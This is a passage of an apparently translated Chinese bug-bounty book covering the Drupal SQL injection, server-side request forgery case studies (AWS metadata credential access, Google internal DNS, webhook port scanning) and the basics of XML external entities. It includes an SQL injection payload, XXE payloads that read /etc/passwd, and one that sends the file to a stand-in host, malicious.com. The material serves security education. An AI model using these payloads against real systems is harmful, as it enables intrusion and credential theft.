array(':name'=>array('user1','user2')));
db_query函数接受两个参数:一个包含变量命名占位符的查询和一个用于替换这些占位符的值的数组。在这个例子中,占位符是:name,它是一个包含'user1'和'user2'值的数组。在结构化数组中,'user1'的键是0,'user2'的键是1。当 Drupal 执行db_query函数时,它调用expandArguments函数,将键与每个值连接。生成的查询使用name_0和name_1替代键,如下所示:
SELECT * FROM users WHERE name IN (:name_0, :name_1)
但是,当你使用关联数组调用db_query时,就会出现问题,以下是代码示例:
db_query("SELECT * FROM {users} where name IN (:name)",
array(':name'=>array('test);-- ' => 'user1', 'test' => 'user2')));
在这种情况下,:name是一个数组,它的键是'test);--'和'test'。当expandArguments接收到:name数组并处理它以创建查询时,它生成了如下内容:
SELECT * FROM users WHERE name IN (:name_test);-- , :name_test)
我们已将注释注入到预处理语句中。之所以会发生这种情况,是因为expandArguments遍历每个数组元素以构建占位符,但假设传入的是结构化数组。在第一次迭代中,$i被赋值为'test);--',$value被赋值为'user1'。$key为':name',将其与$i结合后得到name_test);--。在第二次迭代中,$i被赋值为'test',$value为'user2'。将$key与$i结合后得到name_test。
这种行为允许恶意用户将 SQL 语句注入到依赖IN子句的 Drupal 查询中。这个漏洞影响了 Drupal 的登录功能,使得 SQLi 漏洞变得非常严重,因为任何网站用户,包括匿名用户,都可能利用它。更糟糕的是,PHP PDO 默认支持一次执行多个查询。这意味着攻击者可以在用户登录查询中附加额外的查询,以执行非IN子句的 SQL 命令。例如,攻击者可以使用INSERT语句,将记录插入数据库,从而创建一个管理员用户,然后利用该用户登录网站。
要点总结
这个 SQLi 漏洞不仅仅是提交一个单引号并破坏查询那么简单。实际上,它需要理解 Drupal 核心的数据库 API 如何处理IN子句。这个漏洞的要点是要留意改变传递给网站的输入结构的机会。当 URL 将name作为参数时,可以尝试向参数添加[]以将其更改为数组,并测试网站如何处理它。
总结
SQL 注入(SQLi)可能是一个重大的漏洞,并且对网站非常危险。如果攻击者发现了 SQLi 漏洞,他们可能获得网站的全部权限。在某些情况下,SQLi 漏洞可以通过向数据库插入数据来提升权限,从而在网站上获得管理员权限,例如 Drupal 的例子。当你寻找 SQLi 漏洞时,应该关注能够向查询中传递未转义的单引号或双引号的地方。当你发现漏洞时,漏洞存在的迹象可能很微妙,比如盲注。你还应该寻找那些可以以意外方式向网站传递数据的地方,例如你可以在请求数据中替换数组参数的地方,就像 Uber 的漏洞一样。
第十章:服务器端请求伪造(SSRF)**

服务器端请求伪造(SSRF) 漏洞使攻击者能够让服务器执行未预期的网络请求。与跨站请求伪造(CSRF)漏洞类似,SSRF 利用另一个系统执行恶意行为。CSRF 是利用另一个用户,而 SSRF 则是利用目标应用服务器。与 CSRF 一样,SSRF 漏洞的影响和执行方式可能有所不同。然而,仅仅因为你能够让目标服务器向其他任意服务器发送请求,并不意味着目标应用程序本身存在漏洞。该应用程序可能故意允许这种行为。因此,理解如何在发现潜在 SSRF 时展示影响非常重要。
展示服务器端请求伪造的影响
根据网站的组织结构,容易受到 SSRF 攻击的服务器可能会向内部网络或外部地址发出 HTTP 请求。受影响服务器发出请求的能力决定了你可以通过 SSRF 做些什么。
一些较大的网站设置了防火墙,禁止外部互联网流量访问内部服务器。例如,网站通常会设置有限数量的对外开放的服务器,这些服务器接收来自访问者的 HTTP 请求,并将请求转发到其他无法公开访问的服务器。一个常见的例子是数据库服务器,通常无法直接访问互联网。当你登录与数据库服务器通信的网站时,你可能会通过常规的网页表单提交用户名和密码。网站接收你的 HTTP 请求后,会使用你的凭据向数据库服务器发出请求。然后,数据库服务器会向 Web 应用服务器响应信息,Web 应用服务器会将这些信息转发给你。在这个过程中,你通常并不意识到远程数据库服务器的存在,且不应该直接访问该数据库。
允许攻击者控制请求到内部服务器的易受攻击服务器可能会暴露私人信息。例如,如果在前述的数据库示例中存在 SSRF 漏洞,攻击者可能会发送请求到数据库服务器并获取他们本不应访问的信息。SSRF 漏洞为攻击者提供了访问更广泛网络的机会,可以作为目标。
假设你发现了 SSRF 漏洞,但受影响的网站没有内部服务器,或者这些服务器无法通过漏洞访问。在这种情况下,检查是否可以通过受影响服务器向任意外部站点发出请求。如果你能利用目标服务器与自己控制的服务器进行通信,你可以使用从中请求的信息进一步了解目标应用程序所使用的软件。你也许还可以控制其响应。
例如,如果易受攻击的服务器遵循重定向,你可能能够将外部请求转换为内部请求,这是 Justin Kennedy 向我指出的一个技巧。在某些情况下,网站可能不允许访问内部 IP,但会与外部网站通信。如果是这样,你可以返回一个状态码为 301、302、303 或 307 的 HTTP 响应,这些都是重定向类型。由于你控制响应,你可以将重定向指向内部 IP 地址,以测试服务器是否会遵循 301 响应并发起对内部网络的 HTTP 请求。
另外,你也可以利用服务器的响应来测试其他漏洞,例如 SQL 注入(SQLi)或跨站脚本(XSS),如在“通过 SSRF 响应攻击用户”一节中所讨论的,第 98 页提供了相关内容。这是否成功取决于目标应用如何使用伪造请求的响应,但在这些情况下,富有创意通常会有所帮助。
最不具影响力的情况是,当 SSRF 漏洞仅允许你与有限数量的外部网站进行通信时。在这些情况下,你可能会利用配置错误的黑名单。例如,假设一个网站可以与www.
调用 GET 与 POST 请求
在确认你可以提交 SSRF 后,验证你是否能调用GET或POST HTTP 方法来利用该站点。如果攻击者能够控制POST参数,那么 HTTP POST请求可能会更具影响力;POST请求通常会触发状态改变行为,比如创建用户账户、调用系统命令或执行任意代码,具体取决于易受攻击的服务器能与哪些其他应用程序通信。而 HTTP GET请求则通常与数据外泄有关。由于POST请求的 SSRF 可能会很复杂,且依赖于系统环境,本章将重点讨论使用GET请求的漏洞。要了解更多关于基于POST请求的 SSRF,请阅读 Orange Tsai 在 2017 年黑帽大会上的演讲幻灯片,链接为www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf。
执行盲 SSRF 攻击
在确认可以在哪里以及如何发起请求之后,考虑是否能够访问请求的响应。如果无法访问响应,那你就发现了一个盲 SSRF。例如,攻击者可能通过 SSRF 访问了内部网络,但无法读取对内部服务器请求的 HTTP 响应。因此,他们需要找到另一种方式来提取信息,通常是通过计时攻击或使用域名系统(DNS)。
在某些盲目 SSRFs 中,响应时间可能会揭示与服务器交互的信息。利用响应时间的一种方式是对不可访问的服务器进行端口扫描。端口在服务器之间传递信息。你可以通过发送请求并查看是否有响应来扫描服务器上的端口。例如,你可以尝试通过端口扫描内部服务器来利用内网中的 SSRF。通过这种方式,你可能会根据是否有来自已知端口(如端口 80 或 443)的响应在 1 秒钟或 10 秒钟内返回,从而判断服务器是开放、关闭还是被过滤的。过滤端口就像是一个通信黑洞。它们不会回复请求,因此你永远无法知道它们是开放还是关闭,且请求会超时。相反,快速的回复可能意味着服务器是开放并接受通信,或者是关闭并且不接受通信。当你利用 SSRF 进行端口扫描时,可以尝试连接到常见的端口,如 22(用于 SSH)、80(HTTP)、443(HTTPS)、8080(备用 HTTP)和 8443(备用 HTTPS)。你将能够确认响应是否不同,并从这些差异中推断出信息。
DNS 是互联网的地图。你可以尝试通过内部系统调用 DNS 请求,并控制请求的地址,包括子域名。如果成功,你可能能够通过盲目 SSRF 漏洞偷运信息。为了以这种方式利用盲目 SSRF,你将偷运的信息作为子域名附加到你自己的域名上。目标服务器随后会对该子域名进行 DNS 查找,指向你的网站。例如,假设你发现了一个盲目 SSRF 漏洞,并且能够在服务器上执行有限的命令,但无法读取任何响应。如果你能在控制查找域名的同时调用 DNS 查找,你可以将 SSRF 输出添加到子域名,并使用whoami命令。这种技术通常被称为带外(OOB)信息外泄。当你在子域名上使用whoami命令时,易受攻击的网站会向你的服务器发送一个 DNS 请求。你的服务器会接收到对data.whoami命令的输出。由于 URL 只能包含字母数字字符,你需要使用 base32 编码来对数据进行编码。
利用 SSRF 响应攻击用户
当你无法直接攻击内部系统时,可以尝试利用影响用户或应用程序本身的 SSRF。如果你的 SSRF 不是盲目型的,可以通过向 SSRF 请求返回恶意响应来实现攻击,比如跨站脚本(XSS)或 SQL 注入(SQLi)有效载荷,这些攻击会在易受攻击的网站上执行。如果其他用户经常访问存储型 XSS 有效载荷,那么它特别重要,因为你可以利用这些有效载荷攻击用户。例如,假设 www.
当你寻找 SSRF 漏洞时,留意是否有机会将 URL 或 IP 地址作为某些网站功能的一部分提交。然后考虑如何利用这种行为来与内部系统通信,或将其与其他类型的恶意行为结合。
ESEA SSRF 和查询 AWS 元数据
难度: 中等
URL: play.esea.net/global/media_preview.php?url=/
来源: buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
报告日期: 2016 年 4 月 11 日
奖励金额: $1,000
在某些情况下,你可以通过多种方式利用并展示 SSRF 的影响。电子竞技娱乐协会(ESEA),一个竞争性视频游戏社区,在 2016 年启动了一个自营的漏洞奖励计划。ESEA 启动该计划后,Brett Buerhaus 通过Google dorking快速搜索以.php扩展名结尾的 URL。Google dorking 使用 Google 搜索关键词来指定搜索的执行位置和目标信息类型。Buerhaus 使用了查询site:play.esea.net/ ext:php,这告诉 Google 仅返回以.php结尾的https://play.esea.net/网站的结果。旧版网站设计通常会使用以.php结尾的网页,这可能表明该页面使用了过时的功能,因此是查找漏洞的好地方。当 Buerhaus 进行搜索时,他收到了 URLplay.esea.net/global/media_preview.php?url=作为结果之一。
这个结果之所以引人注目,是因为其中的url=参数。这个参数表明 ESEA 可能正在渲染由 URL 参数定义的外部网站内容。在寻找 SSRF 漏洞时,URL 参数是一个警示信号。为了开始测试,Buerhaus 将自己的域名插入到该参数中,构造出 URLplay.esea.net/global/media_preview.php?url=http://ziot.org。他收到了一个错误信息,表明 ESEA 期望该 URL 返回一张图片。于是他尝试了 URLplay.esea.net/global/media_preview.php?url=http://ziot.org/1.png,并成功了。
验证文件扩展名是确保功能安全的常见方法之一,在这种方法中,用户可以控制会发起服务器请求的参数。ESEA 将 URL 渲染限制为图像,但这并不意味着它正确地验证了 URL。Buerhaus 在 URL 中添加了一个空字节(%00)来开始他的测试。在需要程序员手动管理内存的编程语言中,空字节用于终止字符串。根据网站实现功能的方式,添加空字节可能会导致网站提前结束 URL。如果 ESEA 存在漏洞,网站就会将请求发送到https://play.esea.net/global/media_preview.php?url=http://ziot.org/1.png,而不是按预期发出请求到play.esea.net/global/media_preview.php?url=http://ziot.org。但 Buerhaus 发现,添加空字节并没有奏效。
接下来,他尝试添加更多的正斜杠,它们将 URL 的各个部分分开。多个正斜杠后面的输入通常会被忽略,因为多个斜杠不符合 URL 的标准结构。Buerhaus 希望站点会发起请求到 play.esea.net/global/media_preview.php?url=http://ziot.org,而不是 play.esea.net/global/media_preview.php?url=http://ziot.org///1.png。这个测试也失败了。
在他的最后一次尝试中,Buerhaus 将其 URL 中的 1.png 从 URL 的一部分改为一个参数,通过将正斜杠转换为问号。因此,他提交的 URL 从 play.esea.net/global/media_preview.php?url=http://ziot.org/1.png 改为了 play.esea.net/global/media_preview.php?url=http://ziot.org?1.png。第一个 URL 向他的网站提交请求,查找 /1.png。但第二个 URL 使请求发送到网站的主页 ziot.org,并将 1.png 作为请求中的参数。因此,ESEA 渲染了 Buerhaus 的 ziot.org 网页。
Buerhaus 已确认他可以发起外部 HTTP 请求,并且网站会呈现响应——这是一个很有前景的开始。但向任何服务器发起请求可能是公司可以接受的风险,前提是服务器不会泄露信息,或者网站不会对 HTTP 响应做任何处理。为了提升 SSRF 的严重性,Buerhaus 在他的服务器响应中返回了一个 XSS payload,正如在 “通过 SSRF 响应攻击用户” 中描述的那样,参见 第 98 页。
他将这个漏洞与 Ben Sadeghipour 分享,看看他们是否能将其提升为更严重的漏洞。Sadeghipour 建议提交 http://169.254.169.254/latest/meta-data/hostname。这是 Amazon Web Services (AWS) 为其托管的网站提供的一个 IP 地址。如果 AWS 服务器向该 URL 发送 HTTP 请求,AWS 会返回关于服务器的元数据。通常,这个功能有助于内部自动化和脚本处理。但该端点也可以用来访问私密信息。根据站点的 AWS 配置,端点 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 会返回执行请求的服务器的身份访问管理 (IAM) 安全凭证。由于 AWS 安全凭证配置较为复杂,账户通常会比实际需要的权限更多。如果能够访问这些凭证,你可以使用 AWS 命令行控制用户有权限访问的任何服务。ESEA 确实托管在 AWS 上,服务器的内部主机名被返回给了 Buerhaus。此时,他停止了操作并报告了该漏洞。
总结
Google dorking 可以在你寻找需要特定 URL 设置的漏洞时节省时间。如果你使用该工具寻找 SSRF 漏洞,注意那些看起来正在与外部网站交互的目标 URL。在这个案例中,漏洞通过 URL 参数 url= 被暴露。当你发现 SSRF 漏洞时,要有宏大的视角。Buerhaus 本可以使用 XSS 载荷报告 SSRF,但那远没有访问网站的 AWS 元数据那样具有影响力。
Google 内部 DNS SSRF
难度: 中等
来源: www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/
报告日期: 2017 年 1 月
奖励支付: 未公开
有时,网站本应仅执行对外部站点的 HTTP 请求。当你发现具有此功能的网站时,检查是否可以滥用它来访问内部网络。
Google 提供了 toolbox.googleapps.com 网站,帮助用户调试他们在使用 Google G Suite 服务时遇到的问题。该服务的 DNS 工具引起了 Julien Ahrens 的注意(* www.rcesecurity.com *),因为它允许用户执行 HTTP 请求。
Google 的 DNS 工具包括 dig,功能类似于 Unix 的 dig 命令,允许用户查询域名服务器以获取网站的 DNS 信息。DNS 信息将 IP 地址映射到可读的域名,如 www.

图 10-1:谷歌 dig 工具的查询示例
Ahrens 特别注意到 Name server 字段,因为它允许用户指定一个 IP 地址来指向 DNS 查询。这个重要的发现表明,用户可以将 DNS 查询发送到任何 IP 地址。
一些 IP 地址被保留用于内部使用。它们可以通过内部 DNS 查询发现,但不应该通过互联网访问。这些保留的 IP 范围包括:
-
10.0.0.0 到 10.255.255.255
-
100.64.0.0 到 100.127.255.255
-
127.0.0.0 到 127.255.255.255
-
172.16.0.0 到 172.31.255.255
-
192.0.0.0 到 192.0.0.255
-
198.18.0.0 到 198.19.255.255
此外,一些 IP 地址被保留用于特定目的。
为了开始测试 Name server 字段,Ahrens 将自己的网站作为要查找的服务器,并使用 IP 地址 127.0.0.1 作为 Name server。IP 地址 127.0.0.1 通常被称为localhost,服务器使用它来引用自己。在这个案例中,localhost 是执行 dig 命令的谷歌服务器。Ahrens 的测试结果是“服务器没有响应”错误。这个错误意味着工具尝试连接到自己的 53 号端口(响应 DNS 查询的端口)以获取关于 Ahrens 网站的信息,rcesecurity.com。 wording "did not respond"(没有响应)非常重要,因为它意味着服务器允许内部连接,而如果是“permission denied”(拒绝权限)之类的词语就不一样。这一警示信号让 Ahrens 继续进行测试。
接下来,Ahrens 将 HTTP 请求发送到 Burp Intruder 工具,这样他就可以开始枚举 10.x.x.x范围内的内部 IP 地址。几分钟后,他收到来自一个内部 10.IP 地址的响应(他故意没有透露是哪个 IP 地址),返回了一个空的 A 记录,这是 DNS 服务器返回的一种记录类型。尽管 A 记录为空,但它是 Ahrens 网站的记录:
id 60520
opcode QUERY
rcode REFUSED
flags QR RD RA
;QUESTION
www.rcesecurity.com IN A
;ANSWER
;AUTHORITY
;ADDITIONAL
Ahrens 发现了一个具有内部访问权限的 DNS 服务器,它会响应他的请求。一个内部 DNS 服务器通常不知道外部网站,这解释了空白的 A 记录。但该服务器应该知道如何映射到内部地址。
为了展示漏洞的影响,Ahrens 必须检索关于谷歌内部网络的信息,因为内部网络的信息不应该公开访问。一次快速的谷歌搜索显示,谷歌使用子域名corp.google.com作为其内部站点的基础。因此,Ahrens 开始对corp.google.com进行子域名暴力破解,最终发现了域名ad.corp.google.com。将这个子域名提交给 dig 工具,并请求早前找到的内部 IP 地址的 A 记录,返回了谷歌的私人 DNS 信息,内容远非空白:
id 54403
opcode QUERY
rcode NOERROR
flags QR RD RA
;QUESTION
ad.corp.google.com IN A
;ANSWER
ad.corp.google.com. 58 IN A 100.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 172.REDACTED
ad.corp.google.com. 58 IN A 100.REDACTED
;AUTHORITY
;ADDITIONAL
请注意内部 IP 地址 100.REDACTED 和 172.REDACTED 的引用。相比之下,ad.corp.google.com 的公共 DNS 查询返回了以下记录,其中不包括 Ahrens 发现的私有 IP 地址信息:
dig A ad.corp.google.com @8.8.8.8
; <<>> DiG 9.8.3-P1 <<>> A ad.corp.google.com @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5981
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;ad.corp.google.com. IN A
;; AUTHORITY SECTION:
corp.google.com. 59 IN SOA ns3.google.com. dns-admin.google.com. 147615698
900 900 1800 60
;; Query time: 28 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Wed Feb 15 23:56:05 2017
;; MSG SIZE rcvd: 86
Ahrens 还使用 Google 的 DNS 工具请求了 ad.corp.google.com 的名称服务器,返回了以下结果:
id 34583
opcode QUERY
rcode NOERROR
flags QR RD RA
;QUESTION
ad.corp.google.com IN NS
;ANSWER
ad.corp.google.com. 1904 IN NS hot-dcREDACTED
ad.corp.google.com. 1904 IN NS hot-dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS hot-dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
;AUTHORITY
;ADDITIONAL
此外,Ahrens 还发现至少有一个内部域名可以公开访问:一个位于 minecraft.corp.google.com 的 Minecraft 服务器。
要点
请注意包含外部 HTTP 请求功能的网站。当你找到这些网站时,尝试使用私有网络 IP 地址 127.0.0.1 或示例中列出的 IP 范围,将请求指向内部。如果你发现了内部网站,尝试从外部源访问它们,以展示更大的影响。它们很可能只允许内部访问。
使用 Webhook 进行内部端口扫描
难度: 简单
URL: 不适用
来源: 不适用
报告日期: 2017 年 10 月
赏金支付: 未公开
Webhook 允许用户在某些操作发生时,要求一个网站向另一个远程网站发送请求。例如,一个电子商务网站可能允许用户设置一个 webhook,每当用户提交订单时,就将购买信息发送到远程网站。允许用户定义远程网站 URL 的 webhook 提供了 SSRF(服务器端请求伪造)的机会。但是,任何 SSRF 的影响可能是有限的,因为你不能总是控制请求或访问响应。
在 2017 年 10 月测试一个网站时,我注意到我可以创建自定义 webhook。所以我提交了一个 http://localhost 的 webhook URL,看看服务器是否会与自身通信。该网站表示这个 URL 不被允许,所以我又尝试了 http://127.0.0.1,但也返回了错误信息。没有气馁,我尝试以其他方式引用 127.0.0.1。网站 www.psyon.org/tools/ip_address_converter.php?ip=127.0.0.1/ 列出了几个替代的 IP 地址,包括 127.0.1、127.1 等等。两者似乎都有效。
提交报告后,我意识到我的发现的严重性不足以获得赏金。我展示的只是绕过了该站点的本地检查。为了有资格获得奖励,我必须证明我能够破坏该站点的基础设施或提取信息。
该网站还使用了一个名为“Web 集成”的功能,允许用户将远程内容导入到网站中。通过创建自定义集成,我可以提供一个远程 URL,返回一个 XML 结构供该站点解析并为我的账户呈现。
一开始,我提交了 127.0.0.1,并希望网站能披露有关响应的信息。结果,网站显示了错误 500“无法连接”,而没有返回有效的内容。这个错误看起来很有前景,因为网站披露了关于响应的信息。接着,我检查是否能够与服务器上的端口进行通信。我回到集成配置,提交了 127.0.0.1:443,这是访问服务器的 IP 地址和端口号之间用冒号分隔的形式。我想看看网站是否能够在端口 443 上通信。再次,我收到了错误 500“无法连接”。对于端口 8080,我也收到了相同的错误。然后,我尝试了端口 22,它通过 SSH 连接。这次错误是 503,“无法检索所有头信息”。
中奖了。“无法检索所有头信息”的响应将 HTTP 流量发送到一个期望 SSH 协议的端口。这种响应不同于 500 错误响应,因为它确认可以建立连接。我重新提交了报告,展示我可以利用 Web 集成功能对公司内部服务器进行端口扫描,因为不同的端口(开放/关闭或过滤)返回了不同的响应。
要点总结
如果你可以提交 URL 来创建 Web 钩子或故意导入远程内容,尝试定义特定的端口。服务器对不同端口的响应方式的细微变化可以揭示端口是否开放、关闭或被过滤。除了服务器返回的消息差异外,端口的响应时间也可能揭示它们是开放、关闭还是被过滤的。
总结
SSRF(服务器端请求伪造)发生在攻击者可以利用服务器执行未预期的网络请求时。但并不是所有请求都可以被利用。例如,一个网站允许你向远程或本地服务器发起请求,并不意味着这个请求具有重要性。识别出能够发起未预期请求的能力只是发现这些漏洞的第一步。报告这些漏洞的关键在于展示其行为的完整影响。在本章中的每个例子里,网站都允许发起 HTTP 请求。但它们没有充分保护自己的基础设施,防止恶意用户的攻击。
第十一章:XML 外部实体**

攻击者可以利用应用程序解析可扩展标记语言(XML)的方式,利用XML 外部实体(XXE)漏洞。更具体地说,这涉及利用应用程序处理外部实体在输入中的包含方式。您可以使用 XXE 从服务器中提取信息,或者调用恶意服务器。
可扩展标记语言
这种漏洞利用了 XML 中使用的外部实体。XML 是一个元语言,意味着它用来描述其他语言。它是为了回应 HTML 的不足而开发的,HTML 只能定义数据如何显示。相比之下,XML 定义了数据如何结构化。
例如,HTML 可以使用开头标签<h1>和闭合标签</h1>将文本格式化为标题。(对于某些标签,闭合标签是可选的。)每个标签都有一个预定义的样式,浏览器在渲染网页时会将该样式应用到文本上。例如,<h1>标签可能会将所有标题格式化为粗体,字体大小为 14px。同样,<table>标签将数据以行和列的形式呈现,<p>标签定义了常规段落中文本的显示方式。
相比之下,XML 没有预定义的标签。相反,您自己定义标签,而这些定义不一定包含在 XML 文件中。例如,考虑以下 XML 文件,它呈现了一个职位列表:
➊ <?xml version="1.0" encoding="UTF-8"?>
➋ <Jobs>
➌ <Job>
➍ <Title>Hacker</Title>
➎ <Compensation>1000000</Compensation>
➏ <Responsibility fundamental="1">Shot web</Responsibility>
</Job>
</Jobs>
所有标签都是作者定义的,因此仅凭文件本身无法知道这些数据在网页上的显示方式。
第一行➊是一个声明头,指示使用的 XML 1.0 版本和 Unicode 编码类型。初始头部之后,<Jobs>标签➋将所有其他<Job>标签➌包裹起来。每个<Job>标签包裹着<Title> ➍、<Compensation> ➎和<Responsibility> ➏标签。与 HTML 一样,基本的 XML 标签由两个角括号围绕标签名称组成。但与 HTML 中的标签不同,所有 XML 标签都需要闭合标签。此外,每个 XML 标签都可以具有一个属性。例如,<Responsibility>标签具有名称Responsibility,并且有一个可选属性,由属性名fundamental和属性值1 ➏组成。
文档类型定义
因为作者可以定义任何标签,所以有效的 XML 文档必须遵循一组通用的 XML 规则(这些超出了本书的范围,但拥有闭合标签是其中一个例子),并且必须与文档类型定义(DTD)匹配。XML DTD 是一组声明,定义了哪些元素存在、它们可以拥有哪些属性以及哪些元素可以包含在其他元素内。(元素由开头和闭合标签组成,因此<foo>是标签,</foo>也是标签,但<foo></foo>是一个元素。)XML 文件可以使用外部 DTD,或者使用定义在 XML 文档中的内部 DTD。
外部 DTD
外部 DTD 是 XML 文档引用并获取的外部 .dtd 文件。以下是之前展示的工作岗位 XML 文档可能对应的外部 DTD 文件示例。
➊ <!ELEMENT Jobs (Job)*>
➋ <!ELEMENT Job (Title, Compensation, Responsibility)>
<!ELEMENT Title ➌(#PCDATA)>
<!ELEMENT Compensation (#PCDATA)>
<!ELEMENT Responsibility (#PCDATA)>
<➍!ATTLIST Responsibility ➎fundamental ➏CDATA ➐"0">
XML 文档中使用的每个元素都在 DTD 文件中使用 !ELEMENT 关键字进行定义。Jobs 的定义表明它可以包含 Job 元素。星号表示 Jobs 可以包含零个或多个 Job 元素。Job 元素必须包含 Title、Compensation 和 Responsibility ➋。这些也是元素,并且只能包含可由 HTML 解析的字符数据,用 (#PCDATA) 表示 ➌。数据定义 (#PCDATA) 告诉解析器每个 XML 标签内将包含什么类型的字符。最后,Responsibility 有一个通过 !ATTLIST 声明的属性 ➍。该属性名为 ➎,CDATA ➏ 告诉解析器该标签仅包含不应解析的字符数据。Responsibility 的默认值被定义为 0 ➐。
外部 DTD 文件在 XML 文档中使用 <!DOCTYPE> 元素进行定义:
<!DOCTYPE ➊note ➋SYSTEM ➌"jobs.dtd">
在这种情况下,我们定义了一个带有 XML 实体 note ➊ 的 <!DOCTYPE>。XML 实体将在下一节中讲解。但目前,你只需要知道 SYSTEM ➋ 是一个关键字,它告诉 XML 解析器获取 jobs.dtd 文件 ➌ 的结果,并在 XML 中后续使用 note ➊ 时使用该结果。
内部 DTD
还可以将 DTD 包含在 XML 文档内。为此,XML 的第一行也必须是 <!DOCTYPE> 元素。通过使用内部 DTD 将 XML 文件与 DTD 结合,我们将得到一个如下所示的文档:
➊ <?xml version="1.0" encoding="UTF-8"?>
➋ <!DOCTYPE Jobs [
<!ELEMENT Jobs (Job)*>
<!ELEMENT Job (Title, Compensation, Responsibility)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compensation (#PCDATA)>
<!ELEMENT Responsibility (#PCDATA)>
<!ATTLIST Responsibility fundamental CDATA "0"> ]>
➌ <Jobs>
<Job>
<Title>Hacker</Title>
<Compensation>1000000</Compensation>
<Responsibility fundamental="1">Shot web</Responsibility>
</Job>
</Jobs>
这里,我们有一个所谓的 内部 DTD 声明。注意,我们仍然以声明头开始,表示我们的文档符合 XML 1.0,并采用 UTF-8 编码 ➊。紧接着,我们定义了 XML 将遵循的 !DOCTYPE,这次是通过直接写出整个 DTD,而不是引用外部文件 ➋。其余的 XML 文档跟随 DTD 声明 ➌。
XML 实体
XML 文档包含 XML 实体,它们类似于信息的占位符。再次使用我们之前的 <Jobs> 示例,如果我们希望每个职位都包含指向我们网站的链接,反复写地址会很麻烦,尤其是如果我们的 URL 可能会更改时。相反,我们可以使用实体,让解析器在解析时获取 URL 并将其插入到文档中。要创建一个实体,你需要在 !ENTITY 标签中声明一个占位符实体名称以及要放入该占位符的信息。在 XML 文档中,实体名称以一个与号(&)开头,并以分号(;)结尾。当访问 XML 文档时,占位符名称会被标签中声明的值替换。实体名称不仅可以用来替换占位符字符串,它们还可以使用 SYSTEM 标签与 URL 一起获取网站或文件的内容。
我们可以更新我们的 XML 文件以包含这一内容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
--snip--
<!ATTLIST Responsibility fundamental CDATA "0">
➊ <!ELEMENT Website ANY>
➋ <!ENTITY url SYSTEM "website.txt">
]>
<Jobs>
<Job>
<Title>Hacker</Title>
<Compensation>1000000</Compensation>
<Responsibility fundamental="1">Shot web</Responsibility>
➌ <Website>&url;</Website>
</Job>
</Jobs>
请注意,我添加了一个Website !ELEMENT,但不是使用(#PCDATA),而是使用了ANY ➊。这个数据定义意味着Website标签可以包含任何可解析数据的组合。我还定义了一个带有SYSTEM属性的!ENTITY,告诉解析器在website标签中的url占位符名称处获取website.txt文件的内容 ➋。在 ➌ 我使用website标签,并且会在&url;的位置获取website.txt的内容。注意实体名称前面的&符号。每当你在 XML 文档中引用一个实体时,必须在其前面加上&。
XXE 攻击是如何工作的
在 XXE 攻击中,攻击者滥用目标应用程序,使其在解析 XML 时包含外部实体。换句话说,应用程序期望接收一些 XML 数据,但并没有验证其接收到的内容;它只是解析任何它收到的东西。例如,假设前面提到的招聘板允许你通过 XML 注册并上传职位信息。
招聘板可能会向你提供其 DTD 文件,并假设你会提交一个符合要求的文件。你可以让!ENTITY去获取"website.txt"的内容,而不是获取"/etc/passwd"的内容。XML 将被解析,服务器文件/etc/passwd的内容将被包含在我们的内容中。(/etc/passwd 文件最初存储了 Linux 系统上的所有用户名和密码,虽然 Linux 系统现在将密码存储在/etc/shadow中,但仍然通常会读取/etc/passwd文件来证明漏洞的存在。)
你可能会提交类似这样的内容:
<?xml version="1.0" encoding="UTF-8"?>
➊ <!DOCTYPE foo [
➋ <!ELEMENT foo ANY >
➌ <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]
>
➍ <foo>&xxe;</foo>
解析器接收到这段代码并识别出一个定义了foo文档类型的内部 DTD ➊。DTD 告诉解析器,foo可以包含任何可解析的数据 ➋;然后有一个实体xxe,当文档被解析时,它应该读取我的 /etc/passwd 文件(file://表示指向/etc/passwd文件的完整 URI 路径)。解析器应该用这些文件内容替换&xxe;元素 ➌。然后,你使用 XML 定义了一个包含&xxe;的<foo>标签,这将打印出我的服务器信息 ➍。这就是为什么 XXE 如此危险的原因。
但是,等等,还有更多。如果应用程序没有打印响应,只是解析我的内容呢?如果敏感文件的内容从未返回给我,这个漏洞是否仍然有用?好吧,如果不是解析本地文件,你可以像这样联系一个恶意服务器:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
➊ <!ENTITY % xxe SYSTEM "file:///etc/passwd" >
➋ <!ENTITY callhome SYSTEM ➌"www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
现在,当 XML 文档被解析时,callhome实体 ➋ 会被替换为调用 www.<恶意>.com/?%xxe ➌ 的内容。但是 ➌ 需要对%xxe进行如 ➊ 所定义的评估。XML 解析器读取 /etc/passwd 并将其作为参数附加到网址 www.<恶意>.com/,从而将文件内容作为 URL 参数 ➌ 发送。因为你控制了那个服务器,你会查看日志,果然,它会包含 /etc/passwd 的内容。
